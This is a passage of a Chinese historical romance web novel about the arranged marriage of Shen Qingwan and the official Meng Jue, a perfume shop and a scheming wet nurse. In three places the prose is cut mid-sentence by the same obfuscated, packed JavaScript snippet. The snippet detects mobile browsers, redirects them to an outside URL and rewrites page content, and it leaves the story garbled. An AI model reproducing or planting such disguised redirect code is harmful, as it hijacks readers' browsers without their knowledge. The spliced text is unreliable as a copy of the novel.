孟玦不知何时已醒，正于昏朦夜色间静静望她，面容隐在幽暗里，神情莫辨。 沈卿婉心头猛地一跳，呼吸一滞，“唰”地一下子闭上眼，感受到对方投来的目光，在她的脸上滚来滚去。 这般掩耳盗铃，任谁瞧了，都觉得好笑吧？ 她把锦被往上拉了拉，盖住脸，心内几番辗转，最后还是睁开了眼，探出锦被，正对上孟玦的目光。 她小声问道：“夫君，你怎的还未睡？” 孟玦默然，这话难道不该是他问才对吗？ 孟玦自五岁后便独自安寝，他早已习惯了夜里只有自己的呼吸声。 如今枕畔忽添一人，纵使她举动极轻，那细微的履音、掀衾的窸窣、翻身时罗衣的摩挲，乃至她清浅的呼吸，皆在寂暗中格外分明，清晰得让他有些不适应。 他试着闭眼，想忽略这份陌生的存在感，却鼻尖萦绕着一股淡淡的香气。像暮春时节空谷里的幽兰，带着点草木的润气，沁人心脾。 孟玦的记忆不错，只稍稍一回忆，便回想起这味道是在何处嗅见过——那日酒意朦胧，被翻红浪，也是这般清冽又缠绵的香气，萦绕在鼻尖，带着几分失控的温热…… 孟玦喉结微动，下意识攥紧了手心，努力将那些纷乱的思绪压下去。可刚平复了些许，耳边忽然传来一声极轻的笑，像碎石落进清泉，突兀却悦耳。 他猛地睁开眼，目光对上黑暗中那抹亮晶晶的眸子——原来她竟一直看着他，不知看了多久。 被发现后的妻子像是鹌鹑一样，立马缩着脖子，恨不得找个地方将头埋进去，引得他不自觉勾起嘴角。 两人在黑暗中对视，月色太淡，看不清彼此的神色，却能感受到彼此的目光。 终究是孟玦先开了口，声音在夜里显得格外低沉，带着几分不易察觉的沙哑：“你身上……是用了什么香料？” 沈卿婉下意识低头，嗅了嗅自己的襟口，鼻尖萦绕着熟悉的淡香，她有些疑惑地皱了皱眉，也没甚怪味啊？ 她轻声道：“许是平日里熏衣服用的香料，若是夫君觉得刺鼻，我日后不熏便是了。” “味道很好闻，不必换。”他顿了顿，又补充道，“你之前做的那个艾草香包，也很好。近来再无蚊虫叮咬，味道闻起来也不刺鼻。” 沈卿婉难得听他这样说话，这样的温声细语，听进她耳里，甜在心里，比她吃一斤蜜糖还要甜。她眉眼一弯，来了兴致：“夫君喜欢便好。寻常驱蚊的香包多是些薄荷、艾叶……” 她一面说着，一面观察着他的神色，见他不反感，她便继续道：“我自己喜欢，便想着加了薰衣草、丁香……比较之前多了草木香，既驱虫又不呛人……” 她絮絮叨叨地说着，语气里满是藏不住的雀跃，可说着说着，身侧的呼吸渐渐变得愈发平稳，她俯过身子一瞧，才发现孟玦不知何时已经睡着了。 沈卿婉瘪了瘪嘴，眼底却没有半分气恼，反倒漾着温柔的笑意。 她轻轻抬手，将他落在额前的一缕发丝拨开，然后拉了拉锦被，小心翼翼地盖好两人的肩头，动作轻缓，生怕惊扰了他的好梦。 次日，天刚蒙蒙亮，天边染着一抹鱼肚白，约莫是卯时初刻，帐内已有了细微的动静。 沈卿婉先于孟玦起身，披了一件外衫，促着女使烧好了热水端来于孟玦净面，又从衣柜里取出今日要穿的官服——绯红公袍，配素银銙带，整整齐齐叠在案头。 待早膳用罢，孟玦要去衙署当值，沈卿婉送至院门口。刚待回身，就听见含香打着哈欠嘟囔：“还不如主君待在那书房，往日里这个时辰，奴婢还睡着，今天起这么早，我眼睛都睁不开了。” 沈卿婉嗔怪道：“主君在外当值辛苦，身为内眷，伺候他起居本就是分内之事，怎可贪图安逸？往后不许说这般浑话了。” 含香吐了吐舌头，不再抱怨，只是跟着她往院屋子里走。 这日天气晴好，阳光透过云层洒下来，照在庭院里，暖融融的。先前下了半月的雨，积攒的潮湿水汽，一经日晒，又变得干燥清爽。 沈卿婉将香茅草铺在院中晒干，又回到屋子里将制香工具摆置好，正弄着，红袖在外头回话：“娘子，那刘嬷嬷自说她病了，需歇个七八日才能见好，望娘子宽限她几日。” 沈卿婉念她毕竟是孟玦的乳母，就算是装病，也不过是多待几天的事，她应道：“知道了，既病了，便让她好生静养，不差这一两天。” 红袖得了吩咐，应声退下。 少顷，含香抱着一簸箕晒妥的香料入内。沈卿婉遂将香茅、甘松、零陵香等一一切碾过筛，与早备好的香依序调和，徐徐收入一掌大的褐色瓷罐中。 含香上前道：“娘子，香料既已做好，不如让奴婢这会就送去穆掌柜处。” 沈卿婉摇了摇头，将瓷瓶盖好，轻声道：“明日我亲自去留香居一趟，先前突然成婚，中断了生意，总归是我失了约。亲自去一趟，也好跟她说清楚，赔个不是。” 含香点头，也不再多言，只是帮着她收拾好东西。 *** 约莫离散值还有半个时辰，孟玦正提笔写着奏报。 臣颍州转运使孟玦谨奏：臣荷蒙圣恩，忝掌一路财赋漕事。夙夜兢惕，惟恐有负陛下托付之重。近因防汛之需，例行检视所辖州县等地常平仓廪，稽核文簿，其间情状…… 孟玦的笔触停在此处，眉间如聚霜雪。 他搁下笔，喉间滚过一声沉沉的叹息，往后结结实实靠在椅背上，抬眼四顾。原本满满当当的大厅不知何时已空了大半，余下几人也正匆匆收拾笔墨，步履匆匆。 孟玦抬手叫住正要跨出门的周明远。 周明远折回来道：“已经到散值时刻，韫白还不归家？” “你们今日散值倒是积极，有什么事吗？” “是县马高官人包了云香楼，说是要为季指挥使接风洗尘，特地邀了众人一道……”周明远一面说，一面打量着孟玦的神色，猛省道：“难道高官人没有给你递帖子？” 孟玦并不接话，眼皮微垂，季泽此人，他并不相熟。此前只是在宫宴上见过一面，此人给他的印象是风姿隽爽，恣意狂傲。 县马设宴，意为攀结，此人多半不会去。 只是…… 孟玦指尖叩了叩案沿，好心道：“明远兄，若你只是去饮酒听曲，那云香楼的好酒和好曲定不会辜负你。若你是为了旁的而去，我想你大概是要失望的。” 周明远一愣：“此话何意？” 孟玦并不回应。 至于那奏报，孟玦最终提笔落下“并无异状”四个字。 背后之人若是他猜的那人，定有手腕在传输中截停他的奏报，不若装作不察，让对方放松警惕，才便于后面继续探查。 *** 暮色漫进庭院，孟玦踏着残阳余晖回了院，刚走到厢房窗下，就听见里头传来一递一声的谈话。 “娘子，您这都看了一下午，这书有这么好看？” 沈卿婉翻着《片玉词》，回道：“我瞧官人每日不是看卷宗，就是看书，便也想看一看，往后同他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027750|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话，也能多些共同话题。” 含香凑过来，点着一句问道：“‘桂华流瓦，纤云散，耿耿素娥欲下。’这句是什么意思？” 沈卿婉一时答不出话来，她也是一知半解地浑看，自是不能为含香解惑。 含香道：“娘子聪慧，学什么都很快，当初开蒙时，夫子也夸过娘子，若不是……”，说到此处，含香只是低低地叹息了一声。 “若不是什么？”忽听有一声音接着含香的话问下去。 主仆二人皆转头望去，见是孟玦，含香不知该作何回答，看向沈卿婉。 沈卿婉道：“只是闲说了几句家常，不值得夫君挂心。”，她起身时，甩着袖子，不经意地将书桌上的诗集合上，也不知他在这站了多久，听了多少？ 孟玦径直走到书桌前，垂首瞥了一眼，是他昨日看的《片玉词》，他翻到沈卿婉刚才读的那篇《解语花》。 沈卿婉凝神看着，料知他全听见了。 沈卿婉只堪堪识得几个字，比不得那些贵女，能吟诗作对。而孟玦，三元及第，天之骄子，取了她这样一个文墨不通的妻子，会不会觉得她很差劲？ 她有些无措地站在那，在背后剪着双手，正乱想着，忽听他道:“你若是喜欢诗词，我可教你。” 沈卿婉骤然一愣，差点以为自己听错了，但瞧他神色认真，不似偶尔兴起，忙不迭地点了点头。 孟玦先是问了她以前可曾看过哪家的诗词。 “不曾……品读过。”，沈卿婉艰难地回答着，脸上出现羞赧的表情。 孟玦沉默了片刻，道：“我那有本《王摩诘全集》，你且把他的五言律一百首细心揣摩透熟了，然后再读一百二十首老杜的七言律，次之再李青莲的七言绝句读一二百首。 “肚子里先有了这三个人做了底子【1】，然后我再另选几本诗集与你看过，便大致会了。” 他唤绿松去书房取诗集。 在此空档，他先为沈卿婉解了《解语花》这篇，“这是周美成在外地为官时，恰逢元宵，抚今追昔……尤其是后半阙，有水逝云卷，风驰电掣之感。” 在孟玦的讲解下，原本枯燥无味的文字一跃而出，自然形成了一幅画卷，色香影俱全，她一面听着，一面瞧着他暗道：解语花此名甚妙。 君为解语花，妾作私淑人。 不多时，绿松将诗集拿来。 “不明白的你圈出来，我讲与你就是了。”孟玦道。 沈卿婉抱着诗集，满心欢喜地谢过。 少顷，孟老太太打发人过来叫她们去瑞和堂一道用饭。 席间，孟玦问起孟绾：“妹妹前几日染了风疹，如今可好些了？” 老太太轻叹道：“你请来的大夫倒是有几分本事，不过两天那疹子就退了，只是不知怎的，脸上留了些淡红印子，细细碎碎的。 “日日对着镜子发愁，这几日竟连房门也不肯出。” 孟玦声音沉稳，“我听闻南街有位姓柳的大夫，擅治这类印痕，明日我便使人去请他来府中瞧瞧，想必能有法子。” 孟母点点头，神色稍缓，转而说起闲话：“今日突然想吃那云香楼的莲花鸭签，金丝肚羹，打发女使过去，道那云香楼竟被人包了场，不接散客。” “那云香楼是颍州最大的酒楼，包场所费不赀，你可知哪家有这般大手笔？” 孟玦想起周明远的话，回说：“是县马高晖。” 正喝着三脆羹的沈卿婉听到这个名字，身子猛地一颤，眼眸掠过异色，旋即低眉敛目，佯作无事。 13. 书桌play惹暧昧 二人用罢晚膳，一径回了清轩院。 进了屋内，女使等人奉上热茶便退了出去，门帘落下，孟玦道：“今日你在母亲那里没吃几口，可是身子不适？” 沈卿婉正用着茶，闻言动作一顿，她垂首道：“并无不适，许是下午在园子里吃了两块杏仁糕，又喝了些甜汤，饱腹感一直未消，晚膳便少进了些。” 孟玦不疑有他。 二人暂且无话。 一个去了里屋看书，一个坐在外间做针线活。 沈卿婉先用粗线打底，期间走了神，食指顷刻蹦出一颗黄豆大小的血珠子，她不得不回神，用帕子将血拭去。 望着帕上猩红一点，忽想起孟玦颈间伤痕，算来今日又该换药了。 她打起精神，从朱漆雕填格纹柜里拿出昨日大夫开的棉布和药泥，站定在孟玦身侧，轻声道：“夫君，今日该换药了。” 孟玦颔首，似是很不高兴她突然的出现，突然的打扰。但他最终什么也没说，将书册合上，将衣襟往外一松，配合她上药。 沈卿婉俯身，解开布条，将药泥均匀抹在伤口处，她动作极轻，指尖带着微凉的温度，偶尔触碰到他温热的肌肤，引起一片颤栗。 孟玦背脊倏然绷紧，竟生出几分悔意。 二人咫尺之间，他又嗅见那股清雅的香气，丝丝缕缕，在他鼻尖萦绕，勾着他有了别样的心思。 沈卿婉忙完，才发觉他整个人都紧绷着，额头还沁着一点汗，像是在忍耐什么，她道：“是不是弄疼你了？” “没有。”孟玦垂眸，用嘶哑的声音说道。 沈卿婉疑惑道：“夫君是哪里不舒服吗？”她伸出手想要去探他额头温度，却想起他似乎不喜别人碰他，便停在半空中，正要收回来的时候，被他一把抓住。 “夫君……？” 孟玦不语，站起身，将人环着腰肢置于书案之上，面对着面。 沈卿婉惊呼一声，拉着他的衣袖，“夫君？你这是……”她对上了他的眼，看出他眼底克制的情/欲，她便什么话也说不出来了。 烛影摇红，映着她低垂的粉颈，只见小巧鼻尖一点，与紧抿的朱唇。昏黄光晕流淌于凝脂般的肌肤上，宛如匀了一层极细腻的香膏，泛起温润莹泽。 旁人说的没错，她确实很美。 她离他是这样的近，他只要往前一点点，他的鼻尖便能碰到她的脸颊，再近一点，他的嘴唇就可以侵/犯她的每一寸肌肤。 他的身影如山如幕，将她全然笼住，携着无声的压迫与侵夺之意。她不敢抬眼，只觉一股潮热又黏糊的气息拂在下颌。 她大约猜到一会会发生什么，眼底带着几分慌乱，和不知所措，像是一只受惊的小鹿，在猎人的眼里懵懂又诱人。 孟玦看着她这副模样，心中愈发觉得奇怪：她对这般亲昵的肢体接触反应青涩得不像话，仿佛未经世事的少女，可偏偏，她又敢做出当初那般大胆举动。 她给他的感觉很矛盾，像一团迷雾，让他看不透，却又忍不住想要探究。 窗棂发出“哐哐”的轻响，吹进来的风将那烛火戏弄的明明灭灭。 倏然，外间传来一阵脚步声。 含香掀起软帘探身：“娘子，热水已备妥了。”话方出口，却见娘子背身而立，与主君相对。而主君投来的目光似含薄愠。 她丈二和尚摸不着头脑，轻声道：“可要奴婢伺候梳洗？” 沈卿婉如蒙大赦，低声应了，快步走向外间。 待洗漱毕，烛火渐熄，一夜再无他话。 *** 话说第二日孟玦去了官署，四下一看，诸位同僚皆精神萎靡，唯有后他一步的周明远，瞧着精神尚可。 周明远手里捧着油纸包着半边的胡饼，一边吃，一边冲他打着招呼，酥脆的胡饼每咬一口，都掉落着饼渣。 “韫白神机妙算，昨日晚宴，那季指挥使果然没去！只是人不来，合该知会一声，如此将众人晾在一旁，也忒没礼貌了些。” 孟玦道：“季指挥使没来，这宴依旧开得起来，玩得不亦乐乎，他来与不来，似乎没那么重要。” 周明远听出他话中意思，讪讪一笑，“这不来都来了，自然要给高官人一个面子，只是没成想这一喝就到了后半夜。” 孟玦道：“明远兄瞧着，倒不像是喝到半夜的样子。” “寒荆之威，韫白你是见识过的。”周明远摇头苦笑，“昨夜我只略坐片刻便归家，仍被她埋怨不顾家业，今晨连口热粥也无，只得买这胡饼充饥。” 言罢将最后一口咽下，又叹：“昨夜尝过云香楼的肴馔，再吃这饼，总觉少了几分滋味。” 见孟玦神色淡淡，忙转话头：“韫白未去实是可惜。昨夜席面之盛，令人咋舌——非但菜肴精绝，更邀得拾花巷名伎献曲。闻说仅酒席便费银百两有余，另备下一尊五百两的紫檀木雕，欲赠季指挥使……” “六百两？”孟玦面色倏沉，“寻常百姓一户年用不过三十两，此数足供二百户一年温饱。若某未记错，县马任安抚使，月俸不及五十两。与人赠礼，竟出手便是年余俸禄？当真阔绰得很。” 周明远见他神色凛然，亦收敛嬉笑：“许是……另有县主妆奁贴补？” “依本朝制，县主岁入约两千贯。然县主平日用度奢靡，前次寿宴便耗千贯之巨。今又包云香楼、赠重礼——”孟玦唇角微扬，讽意分明，“生财之道，果非常人可及。” 周明远汗颜，他哪敢接茬，忙寻借口：“这饼不顶饿，腹中仍空，我再出去买张热的。”说罢匆匆离去。 *** “卖胡饼了，卖胡饼了，又香又脆的胡饼，三文一张……” 沈卿婉下了马车，避开路中挑着胡饼的货郎，往前走了数十步，至留香阁前。 未入门，清雅香气已扑面而来。店内陈设精致，朱红的柜台擦得锃亮，上面整齐摆放着各式香粉、胭脂、香膏，琳琅满目。 柜台后立着雕花的博古架，摆着满满的的瓷瓶玉器，更添几分雅致。 店内此刻已有不少客人，三三两两围在柜台前挑选，低声说笑，十分热闹。 店主是个丰腴的中年妇人，名唤穆丹，瞧见她身后跟着的含香，认出她来，笑着迎上来：“沈姑娘……不对，现在该叫沈娘子了。” 穆丹将她们引进二楼单间，叫人看茶。 沈卿婉道：“我是来送香粉的。”，说着拿出装香粉的瓷瓶，递给穆丹。 穆丹笑着接过，“这种小事，让含香来便可，何苦劳烦你来跑一趟。” “我这婚事来得突然，也没能与穆店主打声招呼，已是失礼。如今既嫁作人妇，不方便抛头露面，无法继续与你合作，总该亲自来道声歉。” 沈卿婉眼底带着几分真切的感念，“当年若非穆店主肯收我的香料，给我一条生计，我与母亲怕是熬不过那些难捱的日子。” 穆丹道：“你这婚是结得仓促了些！我当初听人说你嫁了孟官人，我还当是讹传，没成想竟是真的——” 沈卿婉只是嘴角噙着淡淡的笑，没有多说什么。 穆丹道：“有一事，我不知该说不该说。” 沈卿婉猜想穆丹平日是个豪爽的性子，如今这般扭捏，定是与她的婚事有关，大家传些什么，她约莫听过一点风声。 不外乎说她见异思迁，是个攀高枝的。 “穆店主但说无妨。” “当初你欲赊香材，待制成香粉售出再还本钱，只赚些手工费。我虽怜你处境，终究不敢拿生意冒险。是陈二郎暗中买下那批香料，又嘱我莫要告知于你。 “后来知你二人即将订下婚约，心中感叹自己是做了红娘，促成一桩大好姻缘。 “只是没料到世事无常，你竟嫁给了孟官人。” 沈卿婉确不知此中隐情，闻言怔然，半晌方道：“是我负他良多……” 穆丹继续说道，“旁人都说你攀高枝，这其中的事，我虽不清楚，但我深知你不是那样的人。听说陈二郎前阵子着了风寒，你可曾看过他？” 沈卿婉沉默了许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟玦顺着他手指的方向看去，确实是孟家的马车，有两位女子正缓步往马车去，正是她的妻子和她的贴身女使。 周明远瞧出他神色淡淡的，并没有上前的意思，转而瞥见那香铺的匾额，“正好到这儿，妇人家不都爱这些香粉香膏？待我进去挑两样给内人。” 说着便不由分说地拖着孟玦往里走。 穆丹正低头整理货柜，见有人进来，抬头迎客的瞬间，目光落在孟玦身上，不由得一愣。她认得这位孟官人——去年他初来颍州，便因裁断案件，名动全城。 彼时颍州城谁不议论，永宁侯府出身，年少成名，状元及第，貌比潘安，能力卓绝，上门提亲的媒婆能踏破侯府门槛，多少待嫁姑娘芳心暗许。 这夫妻二人可真有趣，一个刚前脚出门，另一个后脚就跟着进来了。 穆丹回过神来，连忙堆起笑意：“二位大人里边请！小店虽不大，但香料、香膏、香珠皆是上等的货。” 周明远目光一扫，落在一串赤金镶珍珠的香珠手串上，珠圆玉润，香气清雅。“这个不错！”他拿起香珠掂量，转头问价，“老板娘，这香珠多少银子？” “回郎君，这是玫瑰香珠，姿容养颜，疏肝解郁，只要三两银子。” 周明远脸上的笑意僵了僵，下意识摸了摸钱袋——他今日只带了二两。他转头看向孟玦，一脸谄笑：“韫白，借我一两银子应急，回头便还你。” 孟玦颔首，从钱袋中取出一两银子递给他。目光扫了店内一圈，看向穆丹，语气平淡无波：“请问方才出去的那位娘子，她买了什么？” 穆丹闻言，眼珠一转，心里打起了小算盘。若是让他知道沈娘子肯花大价钱给小姑子买东西，想必会感念她的细心体贴。 她清了清嗓子，笑道：“刚才出去的那位娘子？她方才挑了一款上好的玉舒膏，用料金贵，是小店刚出的新品，要八两银子呢！” ——八两银子抵得上平常农户半年的花销。 话音刚落，店里的气氛骤然一僵。 14. 夫妻间陡生嫌隙 香料铺里熏香依旧悠悠散着暖甜气息，穆丹脸上的笑意却渐渐敛了几分。她虽是个妇道人家，却在这市井中滚了数十年，别的且不论，单是识人眼色这一桩，早已练得入木三分。 眼前这位孟官人神色虽澹澹的，瞧着与方才进门时并无二致，可她却敏锐地捕捉到，那深潭般的眸底掠过一丝极细微的不豫，如静水微澜，转瞬即逝。 她暗自将方才的话在心里颠来倒去筛了几遍，左右寻不着错处——怎的他就瞧上去不悦了？穆丹心头如揣了小鼓，咚咚作响，面上却不敢露怯，只垂首侍立，噤声不言。 立在孟玦身侧的周明远清楚底细，心里咯噔一下，暗叫不好。 他自是察觉身旁人情绪的转变，也知其缘由，暗恼自己多事，怎么刚才就鬼使神差地想要顺道进来，买件礼物哄家中娘子开心。 这下可好，平白给韫白心里添了堵。 须知孟玦方才在衙署听得县马欲以六百两重礼结交权贵，心头本就压着一团郁火。那“八两银子”的脂膏，落在他耳中，怕早就在心里悄无声息地换算成寻常庄户人家三五月的嚼用。 铺子里的气氛渐渐微妙起来，甜暖香气中似掺进了一丝无形的清寒。其他主顾亦觉出异样，纷纷侧目窥探，窃窃私语声如蚊蚋，若有似无地飘浮在空气里。 周明远见状，连忙上前一步，掏出银子往柜上一放，局促地笑了两声道：“掌柜的，方才那串玫瑰香串我要了，劳烦你快些包好，我们还有要事在身。” 穆丹立刻顺着台阶下，连忙应道：“哎，好嘞！”手脚麻利地取过香串，用描金纸细细包好，递到周明远手中。 目送二人身影消失在巷口日影里，穆丹方收回目光，倚着门框轻轻吁出一口气。心下仍自嘀咕：“我方才……究竟是哪句话说岔了？” 她拧着眉思忖半晌，依旧理不清头绪，只得摇了摇头，转身欲回铺中。恰在此时，身后传来一道清润嗓音，如玉石相击：“请问店主可在？” 她回身望去，只见来人立在门槛内侧，一身银红色绫袍束着雪青色腰带，腰间悬着一个旧了的绣着宝相花纹的香囊。 男子梳着高马尾，发顶用玉冠束起，余下几缕墨发垂在颈侧，衬得脖颈修长如玉。他约莫还未及冠，眉眼疏朗如远山含黛，清俊中透着难掩的贵气。 穆丹眼尖，一眼便知来人不简单，恐怕是哪个世家的小郎君。 穆丹脸上堆起恰到好处的殷勤笑意，敛衽上前：“奴家便是此处店主。不知郎君有何需求？小店香料齐全，香囊、香膏、香丸皆有，若有偏好，奴家这就为您引荐。” 男子微微颔首：“我想定制一款香料。” “定制香料？”穆丹眼睛一亮，暗忖这定是大客户，连忙引着人往楼上单间去，“郎君里边请！楼上清净，正好细谈。” 掀开门帘时，穆丹鼻尖微动，隐约嗅到一丝怪异的味道，她不经意地翕动鼻子，眼眸一缩，这是……血腥味？ 她心头一跳，面上却丝毫不显，只当未曾察觉，殷勤地为对方斟了杯清茶：“郎君且坐，不知您想要什么样的香囊？ “是偏好花香、果香，还是药香？或是有特定的寓意，想要安神、驱虫，或是……” “味道要浓些，”男子道，末了，又补了一句：“但又不能太浓，需得清透绵长，能压过周遭杂味，却又不能显得刻意突兀。” 穆丹脸上的笑容僵了一瞬。 浓而不烈，清透绵长，还要能压过“杂味”？ 她大约猜出对方的意图——想要掩盖身上的血腥味。 只是这要求听着简单，实则刁钻至极。香料一道，浓则易浊，清则易散，既要馥郁足够，又要通透不腻，还要有持久的留香。 别说她这小小香料铺，便是京中最有名的香铺，怕是也难调出这般矛盾的香来。她守着这铺子十几年，见过的奇奇怪怪的要求不在少数，却从未听过这般近乎不可能完成的定制。 她面露难色，斟酌着说道：“郎君有所不知，您这要求着实刁钻。浓与清本就相悖，既要压过旁的气味，又不能显得浓重，这……这小店怕是难以做到，恐要辜负郎君的信任了。” 话音未落，男子已从袖中掏出一锭金灿灿的金稞子，轻轻搁在桌上，发出沉闷的声响，像是鼓槌在穆丹心里重重一敲。 男子嘴角噙着浅淡笑意，语气却多了几分笃定：“如此，可行？” 穆丹的目光黏在那金稞子上，指尖微微发颤。她深吸一口气，将金子紧紧攥在手心，冰凉的触感，沉重的质感让她瞬间定了神，脸上重新堆起热切的笑容。 “郎君既如此诚心，奴家便斗胆一试。不瞒您说，您要的这款香，实在是刁钻得紧。依着小店的手艺，断然是做不出的。” 见男子眼底却掠过一丝淡淡的审视，穆丹连忙补充道：“不过……我倒有一位朋友，她在香道上的造诣，远在我之上，也许她总有法子琢磨出来。” 她顿了顿，语气诚恳，“若是她也做不了，那我是真的无能为力了，还望郎君莫要见怪。” 男子闻言，清润的嗓音缓缓道：“无妨，且让你那位朋友一试便是。成与不成，我都不会为难于你。” 穆丹连声笑应：“多谢郎君宽宏！只是奴家这友人已嫁作人妇，接这外活多有不便，需得宽限几日……” 瞥见他眉峰微蹙，她立即改口：“这样罢，三日之内，必给郎君一个准信。” *** 孟府的角门“吱呀”一声被推开，刘嬷嬷揣着满心的得意，脚步匆匆地往里走，连脚下的路都没细看。刚拐过月亮门，就迎面撞上两个往外走女使。 “哎哟！你们这两个小蹄子，没长眼睛吗？”刘婆子被撞得一个趔趄，站稳后立刻拔高了嗓门，三角眼一瞪，满脸的褶子都拧了起来。 那两个女使平日里早就看不惯了刘嬷嬷嚣张的样子，如今她失了势，谁还怯她，其中一个圆脸女使挑眉道：“刘妈妈，您都是快走的人了，还是口下积德些好，免得日后到了外头，没人给您留体面。” “快走的人”四个字，一语双关，既指她不日便要被送走，又暗讽她是快死的人。 刘嬷嬷如何听不出来，气得浑身发抖，手指着两个女使的鼻子，尖声咒骂：“死丫头！你们敢咒我？我看你们是活腻歪了！” “我们可不敢咒您，”另一个长脸女使撇撇嘴，语气带着几分嘲弄，“您这病都装了五六日了，如今红袖姐姐已经叫车夫套马车了，明日一早，您是非走不可了，还在这儿摆什么谱？” “非走不可？”刘嬷嬷突然收了声，嘴角勾起一抹异样的笑，眼神里透着几分得意，“明日你们且瞧着，走的是我，还是她沈卿婉？” 两个女使对视一眼，都忍不住笑了：“刘妈妈，您可真会开玩笑。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048110|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刘嬷嬷冷笑一声：“哼，你们两个毛丫头懂什么？明日且睁大眼睛看着便是。”，言罢，她心中暗道：“待我明日将那沈氏撵走，回头定要扒了你们俩的皮！” 两个女使被她眼神看得心里一怵，却依旧不信她能翻出什么浪来，只是面面相觑，没再接话。 刘嬷嬷回到自己的住处，心下思量，她自是不能被送到庄子上。一是，孟玦明年便到了任期，要回京述职。她儿子明年也要参加会试，到时候人情打点，都得依仗她这个老娘。 而她能依仗的便是孟玦乳母这个身份，若是去了庄子，别说求孟玦帮忙，就连见个面都难了。 她决不能去！ 二是，她这些年在这孟府，包揽得都是有油水的活计，她哪里舍得？后面儿子若是考上了举人，束脩、冰敬、贽见，那都是拿钱堆起来的。 这两日她寻思过了，她不过是得罪了这个沈氏，算不得什么大错。只要自己能想办法将她撵出去，就还有机会跟孟老夫人求求情，留在这。 那孟老夫人不喜这个儿媳，是众所周知的事情，若是自己能帮她将沈氏撵出去，反倒算了她的一桩心事。 捻指过了四五日，今日可叫她逮见了机会，那沈卿婉一旦出门，她也借口看病跟着出去，只是前面一连几日都无事发生。 独独今日，去了那香粉铺，她问过了，那香膏一盒八两银子，两盒就得十六两。更巧的是郎君也去了那店铺，也知晓她买了如此贵的东西。 刘嬷嬷念及此处，冷笑一声，那孟玦可是她看着长大的，平日躬行节俭，不喜铺张浪费。娶了这么一位大手大脚的娘子，想必心中生厌，她再添把柴，这火就能烧起来。 *** 夜凉如水，月色透过窗棂，筛进几缕清辉，落在沈卿婉摊开的书页上。她正捧着一卷《王摩诘诗集》，烛火映着她的侧脸，鼻尖凝着一层淡淡的光晕，专注得忘了周遭动静。 忽闻外间帘子轻响，她以为是孟玦回来了，连忙放下手中的书，起身便要迎上去。可抬眼望去，并不是孟玦，而是红袖。 红袖屈膝行礼：“大娘子，郎君吩咐了，这几日要搬回书房住，让奴婢来收拾铺盖。” 沈卿婉脸上的笑意倏地僵住，不解地问道：“为何突然要搬回书房？” “奴婢也不知晓，”红袖垂着眼，回道：“郎君吩咐奴婢搬回被褥，奴婢只是照做。” 她望着红袖开始动手收拾床榻上的锦被，心里像被什么东西轻轻堵了一下，空落落的。沉吟片刻，她才轻声道：“我随你一同去看看吧，郎君的伤口还没好彻底。” 说着，转身从多宝格上取了换药的棉布与青瓷药罐，握在手中。 主仆二人一前一后出了清轩院。月色如霜，洒在青石径上，投下稀疏竹影。穿过抄手游廊，过了几重月洞门，方至书房院外。 推开门时，孟玦正坐在案前看书，身着一件松绿色常服，长发松松束着，听见动静，孟玦才抬眼看来。 目光落在她身上时，神色如常，只澹澹问道：“夫人怎么来了？” “听闻你要搬回书房住，”沈卿婉走到案前，目光一错不错地盯着他的脸，竭力在他的神情中寻找缘由。 但孟玦的神情平静地像是一团墨，黑漆漆的，瞧不出半分别的颜色。 她唇瓣张了又合，终是试探着轻声问道：“……是为什么？” 15. 孟家欲休痴情女 自沈卿婉问出那问题，屋子里就陷入一种难言的静默之中。 久到她以为孟玦不会再答时，方听他开口道：“近日公务冗杂，恐扰夫人安寝，搬回此处更为便宜。” 沈卿婉闻言，又仔细看了他一回，瞧不出异色，便信了这话，又道：“你那伤口今日也该换药了，我也将药拿来……” 她一面说着，一面伸手去拉孟玦的衣领，却被他一把攥住手腕：“已经长疤，不劳夫人费心了。” 她顺着他的衣襟瞥了一眼，看不到肩头那处是否结疤。她不放心，欲要探究，手腕被人桎梏，难进分毫。 她低低唤了声：“疼……” 他真当自己手重了，忙松了力道，却见她垂眸揉着手腕，瞧不清神色，只见鼻尖微微翕动，似在隐忍抽噎。 他抬起手，轻轻搭在她的肩上，正想说点什么—— 不料下一瞬，，女子探过身来，赶眼错地将他半边衣衫拉下，只是太过用劲，拉去了一半，露出半边的胸膛。 她手一缩，却未立即退开，反就着烛光细看那伤处，小声嘀咕：“明明还没长好。” 孟玦白玉一般的肌肤绷紧，晕出一层淡淡的粉红，胸腔剧烈起伏，每一次起伏都带着压抑的怒意。 他简直要被气笑了，分明是她不讲规矩，还理直气壮说着这样的话，倒显得他成了扯谎的恶人。 她默不作声地替他把衣衫拉好，陪着小心说道：“我只是担心郎君，若是郎君不喜我换药，便让旁人来。” 她走到门口，将瓷瓶递给绿松，嘱咐道：“这药膏你收着，每日替你家郎君抹一次，能让疤痕淡得更快些。” 绿松连忙接过，躬身应道：“小的记下了。” 沈卿婉望着孟玦，嘴唇动了动，她其实有许多话想与他说： 